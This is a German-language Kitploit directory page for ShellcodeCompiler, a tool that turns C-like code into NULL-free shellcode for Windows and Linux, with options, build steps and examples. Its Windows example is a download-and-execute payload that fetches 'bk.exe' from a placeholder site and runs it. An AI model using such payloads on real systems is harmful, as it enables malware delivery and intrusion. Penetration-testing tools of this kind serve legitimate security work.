Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
ShellcodeCompiler — Shellcode-Compiler | Kitploit
Tools/GitHubGitHub/nytrorst/shellcodecompiler
ExploitationShellcodeShellcode-GenerierungPayload-EntwicklungBinary-Exploitation
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

Shellcode-Compiler

Repository anzeigen
1.2k280vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Shellcode Compiler

Shellcode Compiler ist ein Programm, das C/C++-ähnlichen Code in einen kleinen, positionsunabhängigen und NULL-freien Shellcode für Windows (x86 und x64) und Linux (x86 und x64) kompiliert. Es ist möglich, jede Windows-API-Funktion oder jeden Linux-Syscall auf benutzerfreundliche Weise aufzurufen.

Shellcode Compiler nimmt eine Quelldatei als Eingabe und verwendet seinen eigenen Compiler, um den Code zu interpretieren und eine Assembler-Datei zu generieren, die mit der Keystone-Engine assembliert wird.

Befehlszeilenoptionen

root@kitploit:~
    -h (--help)      : Diese Hilfemeldung anzeigen
    -p (--platform)  : Shellcode-Plattform: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : Detaillierte Ausgabe ausgeben
    -t (--test)      : Generierten Shellcode testen (ausführen)
    -r (--read)      : Quellcodedatei lesen
    -o (--output)    : Ausgabedatei des generierten binären Shellcodes
    -a (--assembbly) : Ausgabedatei des generierten Assembbly-Codes

Windows-Beispiel

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Linux-Beispiel

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

Aufrufbeispiel

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
    

Einschränkungen

  1. Es ist nicht möglich, den Rückgabewert eines API-Aufrufs zu verwenden.
  2. Es ist nicht möglich, Zeiger oder Puffer zu verwenden.
  3. Es ist nicht möglich, Variablen zu deklarieren.

Es gibt auch viele weitere Einschränkungen. Dies ist eine Alpha-Version. Bitte melden Sie Fehler oder Vorschläge.

Änderungsprotokoll

  1. Erste Unterstützung für Windows x64
  2. Erste Unterstützung für Linux (x86 und x64) Shellcodes

Keystone

  1. Keystone Engine-Quellcode herunterladen
  2. Keystone Engine als statische Bibliothek mit nmake-lib.sh (für Linux) und nmake-lib.bat (für Windows) kompilieren
  3. Windows: Die resultierende lib-Datei von keystone-src\build\llvm\lib\keystone.lib nach ShellcodeCompiler\Keystone\keystone_x86.lib (für 32 Bit) und keystone_x64.lib (für 64 Bit) kopieren
  4. Linux: Die resultierende lib-Datei von keystone-src\build\llvm\lib\keystone.lib nach ShellcodeCompiler\Keystone\libkeystone_x86.a (für 32 Bit) und libkeystone_x64.a (für 64 Bit) kopieren

Autor

Ionut Popescu (@NytroRST)

Tool herunterladen